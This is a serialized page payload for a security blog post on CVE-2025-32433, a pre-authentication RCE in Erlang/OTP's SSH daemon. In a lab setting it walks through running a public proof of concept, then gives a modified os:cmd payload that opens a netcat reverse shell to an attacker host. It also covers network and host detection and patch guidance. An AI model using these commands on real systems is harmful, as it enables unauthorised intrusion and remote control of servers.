[{"data":1,"prerenderedAt":598},["ShallowReactive",2],{"announcement":3,"i-tabler:sun":11,"i-tabler:moon":16,"i-tabler:menu-2":18,"i-tabler:x":20,"i-simple-icons:youtube":22,"i-simple-icons:github":24,"i-simple-icons:x":26,"i-simple-icons:linkedin":28,"i-tabler:arrow-up-right":31,"post-cve-2025-32433-erlang-otp-ssh-rce-vulnerability":33,"post-nav-cve-2025-32433-erlang-otp-ssh-rce-vulnerability":576,"video-cve-2025-32433-erlang-otp-ssh-rce-vulnerability":588,"i-tabler:copy":596},{"startsAt":4,"endsAt":5,"scramble":6,"cta":7,"message":10},"2026-10-13","2026-11-30","Cache Poisoning:",{"href":8,"label":9},"\u002Fcache-poisoning-the-cache-you-cant-purge","Read it","The cache you can't purge.",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":15},0,24,false,"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M8 12a4 4 0 1 0 8 0a4 4 0 1 0-8 0m-5 0h1m8-9v1m8 8h1m-9 8v1M5.6 5.6l.7.7m12.1-.7l-.7.7m0 11.4l.7.7m-12.1-.7l-.7.7\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":17},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M12 3h.393a7.5 7.5 0 0 0 7.92 12.446A9 9 0 1 1 12 2.992z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":19},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M4 6h16M4 12h16M4 18h16\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":21},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M18 6L6 18M6 6l12 12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":23},"\u003Cpath fill=\"currentColor\" d=\"M23.498 6.186a3.02 3.02 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.02 3.02 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.02 3.02 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.02 3.02 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814M9.545 15.568V8.432L15.818 12z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":25},"\u003Cpath fill=\"currentColor\" d=\"M12 .297c-6.63 0-12 5.373-12 12c0 5.303 3.438 9.8 8.205 11.385c.6.113.82-.258.82-.577c0-.285-.01-1.04-.015-2.04c-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729c1.205.084 1.838 1.236 1.838 1.236c1.07 1.835 2.809 1.305 3.495.998c.108-.776.417-1.305.76-1.605c-2.665-.3-5.466-1.332-5.466-5.93c0-1.31.465-2.38 1.235-3.22c-.135-.303-.54-1.523.105-3.176c0 0 1.005-.322 3.3 1.23c.96-.267 1.98-.399 3-.405c1.02.006 2.04.138 3 .405c2.28-1.552 3.285-1.23 3.285-1.23c.645 1.653.24 2.873.12 3.176c.765.84 1.23 1.91 1.23 3.22c0 4.61-2.805 5.625-5.475 5.92c.42.36.81 1.096.81 2.22c0 1.606-.015 2.896-.015 3.286c0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":27},"\u003Cpath fill=\"currentColor\" d=\"M14.234 10.162L22.977 0h-2.072l-7.591 8.824L7.251 0H.258l9.168 13.343L.258 24H2.33l8.016-9.318L16.749 24h6.993zm-2.837 3.299l-.929-1.329L3.076 1.56h3.182l5.965 8.532l.929 1.329l7.754 11.09h-3.182z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":29,"hidden":30},"\u003Cpath fill=\"currentColor\" d=\"M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037c-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85c3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433a2.06 2.06 0 0 1-2.063-2.065a2.064 2.064 0 1 1 2.063 2.065m1.782 13.019H3.555V9h3.564zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0z\"\u002F>",true,{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":32},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M17 7L7 17M8 7h9v9\"\u002F>",{"id":34,"title":35,"body":36,"categories":561,"coverImage":565,"date":566,"description":567,"draft":14,"extension":568,"meta":569,"navigation":30,"noindex":14,"path":570,"readingTime":571,"seo":572,"slug":573,"stem":573,"updatedAt":574,"youtubeId":42,"__hash__":575},"blog\u002Fcve-2025-32433-erlang-otp-ssh-rce-vulnerability.md","CVE-2025-32433 (Erlang\u002FOTP SSH RCE vulnerability)",{"type":37,"value":38,"toc":546},"minimark",[39,43,47,64,67,70,75,91,98,101,103,107,110,115,288,290,294,300,338,341,357,360,362,366,370,373,394,412,414,418,421,449,459,461,465,468,485,488,499,501,505,508,515,517,521,528,539,542],[40,41],"post-media",{"video":42},"19X1TFUE5TY",[44,45,46],"p",{},"When people think of Erlang, they think of uptime, a language built for resilience, powering telecom systems, distributed databases, and scalable messaging platforms. But with CVE-2025-32433, we’re seeing what happens when the very features that make a system robust become its Achilles' heel.",[44,48,49,50,54,55,58,59,63],{},"This vulnerability is a serious ",[51,52,53],"strong",{},"unauthenticated remote code execution (RCE)"," issue in the SSH implementation of Erlang\u002FOTP. With a ",[51,56,57],{},"perfect 10.0 CVSS score",", this bug allows remote attackers to execute code ",[60,61,62],"em",{},"without credentials or user interaction",". It affects a broad range of systems, especially those built on high-availability Erlang infrastructure.",[44,65,66],{},"Let’s break it all down, not just how to exploit it, but how it works under the hood, what detection looks like, and how you can stay protected.",[68,69],"hr",{},[71,72,74],"h2",{"id":73},"what-makes-cve-2025-32433-so-dangerous","What Makes CVE-2025-32433 So Dangerous?",[44,76,77,78,81,82,86,87,90],{},"CVE-2025-32433 targets ",[51,79,80],{},"Erlang\u002FOTP’s SSH daemon",", which mishandles the SSH protocol's message structure during the pre-authentication phase. According to SSH standards, messages with identifiers ",[83,84,85],"code",{},">= 80"," are meant to be sent ",[60,88,89],{},"after"," authentication. However, in this implementation, that restriction wasn’t enforced.",[44,92,93,94,97],{},"This means an attacker can send malicious messages ",[51,95,96],{},"before"," any login occurs, and get code execution if crafted properly.",[44,99,100],{},"In essence, this opens the door wide to anyone with network access to the SSH port.",[68,102],{},[71,104,106],{"id":105},"exploiting-the-vulnerability-from-theory-to-practice","Exploiting the Vulnerability – From Theory to Practice",[44,108,109],{},"To demonstrate the impact of this flaw, we used a TryHackMe environment set up to mimic a vulnerable Erlang\u002FOTP deployment. This isn’t about solving a room. It’s about analyzing how this exploit behaves in a real network.",[111,112,114],"h3",{"id":113},"step-by-step-exploitation","Step-by-Step Exploitation",[116,117,118,155,206,263],"ol",{},[119,120,121,124],"li",{},[51,122,123],{},"Clone the public PoC:",[125,126,131],"pre",{"code":127,"language":128,"meta":129,"className":130,"style":129},"git clone https:\u002F\u002Fgithub.com\u002FProDefense\u002FCVE-2025-32433 cd CVE-2025-32433\n","bash","","shiki shiki-themes vitesse-dark vitesse-light",[83,132,133],{},[134,135,138,142,146,149,152],"span",{"class":136,"line":137},"line",1,[134,139,141],{"class":140},"swzfi","git",[134,143,145],{"class":144},"sRRDT"," clone",[134,147,148],{"class":144}," https:\u002F\u002Fgithub.com\u002FProDefense\u002FCVE-2025-32433",[134,150,151],{"class":144}," cd",[134,153,154],{"class":144}," CVE-2025-32433\n",[119,156,157,160,163,164,167,168],{},[51,158,159],{},"Edit the target IP:",[161,162],"br",{},"Modify ",[83,165,166],{},"CVE-2025-32433.py"," with your target machine’s IP:",[125,169,172],{"code":170,"language":171,"meta":129,"className":130,"style":129},"HOST = \"MACHINE_IP\"\nPORT = 22\n","python",[83,173,174,194],{},[134,175,176,180,184,188,191],{"class":136,"line":137},[134,177,179],{"class":178},"se4ZP","HOST",[134,181,183],{"class":182},"somML"," =",[134,185,187],{"class":186},"sy_C3"," \"",[134,189,190],{"class":144},"MACHINE_IP",[134,192,193],{"class":186},"\"\n",[134,195,197,200,202],{"class":136,"line":196},2,[134,198,199],{"class":178},"PORT",[134,201,183],{"class":182},[134,203,205],{"class":204},"sUQhE"," 22\n",[119,207,208,211,213,214],{},[51,209,210],{},"Understand the payload:",[161,212],{},"The exploit runs a basic command to create a file on the target system:",[125,215,217],{"code":216,"language":171,"meta":129,"className":130,"style":129},"file:write_file(\"\u002Flab.txt\", \u003C\u003C\"pwned\">>).\n",[83,218,219],{},[134,220,221,225,228,232,235,238,241,243,246,250,252,255,257,260],{"class":136,"line":137},[134,222,224],{"class":223},"snInM","file",[134,226,227],{"class":182},":",[134,229,231],{"class":230},"sG2Fq","write_file",[134,233,234],{"class":182},"(",[134,236,237],{"class":186},"\"",[134,239,240],{"class":144},"\u002Flab.txt",[134,242,237],{"class":186},[134,244,245],{"class":182},",",[134,247,249],{"class":248},"sfIIG"," \u003C\u003C",[134,251,237],{"class":186},[134,253,254],{"class":144},"pwned",[134,256,237],{"class":186},[134,258,259],{"class":248},">>",[134,261,262],{"class":182},").\n",[119,264,265,268,281,283,284,287],{},[51,266,267],{},"Launch the attack:",[125,269,271],{"code":270,"language":128,"meta":129,"className":130,"style":129},"python3 CVE-2025-32433.py\n",[83,272,273],{},[134,274,275,278],{"class":136,"line":137},[134,276,277],{"class":140},"python3",[134,279,280],{"class":144}," CVE-2025-32433.py\n",[161,282],{},"If the server is vulnerable, you’ll get confirmation, and the file will be created, ",[51,285,286],{},"all without logging in",".",[68,289],{},[71,291,293],{"id":292},"going-further-proof-of-full-command-execution","Going Further: Proof of Full Command Execution",[44,295,296,297,227],{},"To validate the exploit more deeply, we modified the payload to exfiltrate data via ",[83,298,299],{},"netcat",[125,301,303],{"code":302,"language":171,"meta":129,"className":130,"style":129},"os:cmd(\"nc {{ip}} 4444 -e \u002Fbin\u002Fbash\").\n",[83,304,305],{},[134,306,307,310,312,315,317,319,322,325,328,331,334,336],{"class":136,"line":137},[134,308,309],{"class":230},"os",[134,311,227],{"class":182},[134,313,314],{"class":230},"cmd",[134,316,234],{"class":182},[134,318,237],{"class":186},[134,320,321],{"class":144},"nc ",[134,323,324],{"class":178},"{{",[134,326,327],{"class":144},"ip",[134,329,330],{"class":178},"}}",[134,332,333],{"class":144}," 4444 -e \u002Fbin\u002Fbash",[134,335,237],{"class":186},[134,337,262],{"class":182},[44,339,340],{},"With a listener running on the attacker machine:",[125,342,344],{"code":343,"language":128,"meta":129,"className":130,"style":129},"nc -lvp 4444\n",[83,345,346],{},[134,347,348,351,354],{"class":136,"line":137},[134,349,350],{"class":140},"nc",[134,352,353],{"class":178}," -lvp",[134,355,356],{"class":204}," 4444\n",[44,358,359],{},"We confirmed that arbitrary command execution was achieved, with output delivered directly to us.",[68,361],{},[71,363,365],{"id":364},"detection-techniques","Detection Techniques",[111,367,369],{"id":368},"network-based-indicators","Network-Based Indicators",[44,371,372],{},"Because this exploit abuses pre-auth SSH messages, it often evades traditional server-side logs. But at the network layer, you can still spot it:",[374,375,376,383],"ul",{},[119,377,378,379,382],{},"Look for ",[83,380,381],{},"SSH_MSG_CHANNEL_REQUEST"," before authentication",[119,384,385,386,389,390,393],{},"Payloads that invoke suspicious Erlang commands like ",[83,387,388],{},"file:write_file",", ",[83,391,392],{},"os:cmd",", etc.",[44,395,396,397,400,401,404,405,408,409,287],{},"Packet inspection tools such as ",[51,398,399],{},"Wireshark"," and IDS platforms like ",[51,402,403],{},"Suricata"," or ",[51,406,407],{},"FortiGate IPS"," can help here. Expect to find the payload ",[51,410,411],{},"in cleartext",[68,413],{},[111,415,417],{"id":416},"host-based-indicators","Host-Based Indicators",[44,419,420],{},"Once on the system, here’s what you can look for:",[374,422,423,432,435,446],{},[119,424,425,426,404,428,431],{},"Unusual files like ",[83,427,240],{},[83,429,430],{},"\u002Ftmp\u002F*"," written recently",[119,433,434],{},"Processes chained from SSH → shell → outbound connections",[119,436,437,438,440,441,389,443,393],{},"Commands executed through ",[83,439,392],{}," or unexpected usage of ",[83,442,299],{},[83,444,445],{},"wget",[119,447,448],{},"Audit logs showing shell spawns or file system writes from SSHD",[44,450,451,452,389,455,458],{},"Don’t forget to inspect ",[51,453,454],{},"cron jobs",[51,456,457],{},"systemd timers",", and newly added persistence mechanisms.",[68,460],{},[71,462,464],{"id":463},"mitigation-and-remediation","Mitigation and Remediation",[44,466,467],{},"Patch immediately if your system is running one of the following vulnerable OTP versions:",[374,469,470,475,480],{},[119,471,472],{},[51,473,474],{},"OTP-27.3.3",[119,476,477],{},[51,478,479],{},"OTP-26.2.5.11",[119,481,482],{},[51,483,484],{},"OTP-25.3.2.20",[44,486,487],{},"If patching isn’t possible, consider the following short-term mitigations:",[374,489,490,493,496],{},[119,491,492],{},"Disable SSH on Erlang\u002FOTP services temporarily",[119,494,495],{},"Restrict port 22 access using firewalls",[119,497,498],{},"Segment internal networks and isolate exposed Erlang hosts",[68,500],{},[71,502,504],{"id":503},"what-makes-this-cve-unique","What Makes This CVE Unique",[44,506,507],{},"This isn’t a bug that needs advanced privilege chaining. There’s no brute force. No bypass.",[44,509,510,511,514],{},"It’s a clean, ",[51,512,513],{},"pre-auth RCE"," via a single malformed message, against a component that underpins fault-tolerant, real-time systems. That’s what makes it dangerous.",[68,516],{},[71,518,520],{"id":519},"final-thoughts","Final Thoughts",[44,522,523,524,527],{},"Whether you're red team or blue team, ",[51,525,526],{},"CVE-2025-32433"," should be on your radar:",[374,529,530,533,536],{},[119,531,532],{},"It’s exploitable without auth",[119,534,535],{},"It affects a widely used platform",[119,537,538],{},"And it’s incredibly easy to detect and execute with minimal code",[44,540,541],{},"If you’re securing modern infrastructure, don’t overlook lesser-known stacks like Erlang. This CVE is a perfect reminder that even the most “mature” systems can hide critical flaws.",[543,544,545],"style",{},"html pre.shiki code .swzfi, html code.shiki .swzfi{--shiki-default:#80A665;--shiki-light:#59873A}html pre.shiki code .sRRDT, html code.shiki .sRRDT{--shiki-default:#C98A7D;--shiki-light:#B56959}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .se4ZP, html code.shiki .se4ZP{--shiki-default:#C99076;--shiki-light:#A65E2B}html pre.shiki code .somML, html code.shiki .somML{--shiki-default:#666666;--shiki-light:#999999}html pre.shiki code .sy_C3, html code.shiki .sy_C3{--shiki-default:#C98A7D77;--shiki-light:#B5695977}html pre.shiki code .sUQhE, html code.shiki .sUQhE{--shiki-default:#4C9A91;--shiki-light:#2F798A}html pre.shiki code .snInM, html code.shiki .snInM{--shiki-default:#BD976A;--shiki-light:#B07D48}html pre.shiki code .sG2Fq, html code.shiki .sG2Fq{--shiki-default:#DBD7CAEE;--shiki-light:#393A34}html pre.shiki code .sfIIG, html code.shiki .sfIIG{--shiki-default:#CB7676;--shiki-light:#AB5959}",{"title":129,"searchDepth":547,"depth":547,"links":548},3,[549,550,553,554,558,559,560],{"id":73,"depth":196,"text":74},{"id":105,"depth":196,"text":106,"children":551},[552],{"id":113,"depth":547,"text":114},{"id":292,"depth":196,"text":293},{"id":364,"depth":196,"text":365,"children":555},[556,557],{"id":368,"depth":547,"text":369},{"id":416,"depth":547,"text":417},{"id":463,"depth":196,"text":464},{"id":503,"depth":196,"text":504},{"id":519,"depth":196,"text":520},[562,563,564],"Bug Bounty","Linux","Penetration Testing","\u002Fimages\u002Fblog\u002Fcve-2025-32433-erlang-otp-ssh-rce-vulnerability\u002Fcve-2025-32433.webp","2025-05-30","CVE-2025-32433, unauthenticated RCE in the Erlang\u002FOTP SSH implementation: full exploitation walkthrough plus network and host detection techniques.","md",{},"\u002Fcve-2025-32433-erlang-otp-ssh-rce-vulnerability",null,{"title":35,"description":567},"cve-2025-32433-erlang-otp-ssh-rce-vulnerability","2025-06-03","r37j582JVmBHO6qVFJYQa6ura_HMjlVnx48T1XP0-kA",{"older":577,"newer":582,"total":587},{"slug":578,"title":579,"date":580,"position":581},"javascript-analysis-masterclass-pt2","JavaScript Analysis Masterclass - Part 2","2025-05-23",31,{"slug":583,"title":584,"date":585,"position":586},"how-to-become-a-successful-security-researcher-secmeet-0x02","How to Become a Successful Security Researcher | SecMeet 0x02","2025-06-16",29,68,{"id":42,"title":35,"published":589,"url":590,"description":591,"durationSeconds":592,"viewCount":593,"thumbnail":594,"thumbnailSrcset":595},"2025-06-03T15:00:02Z","https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=19X1TFUE5TY","A pre-auth RCE with a perfect 10.0 CVSS score — and it hits Erlang\u002FOTP where it hurts: SSH. CVE-2025-32433 is not just another bug — it’s a critical remote execution flaw in Erlang’s SSH daemon, and it’s out in the wild.",781,2702,"\u002Fimages\u002Fvideos\u002F19X1TFUE5TY-800.webp","\u002Fimages\u002Fvideos\u002F19X1TFUE5TY-800.webp 800w, \u002Fimages\u002Fvideos\u002F19X1TFUE5TY-1280.webp 1280w",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":597},"\u003Cg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\">\u003Cpath d=\"M7 9.667A2.667 2.667 0 0 1 9.667 7h8.666A2.667 2.667 0 0 1 21 9.667v8.666A2.667 2.667 0 0 1 18.333 21H9.667A2.667 2.667 0 0 1 7 18.333z\"\u002F>\u003Cpath d=\"M4.012 16.737A2 2 0 0 1 3 15V5c0-1.1.9-2 2-2h10c.75 0 1.158.385 1.5 1\"\u002F>\u003C\u002Fg>",1791941261092]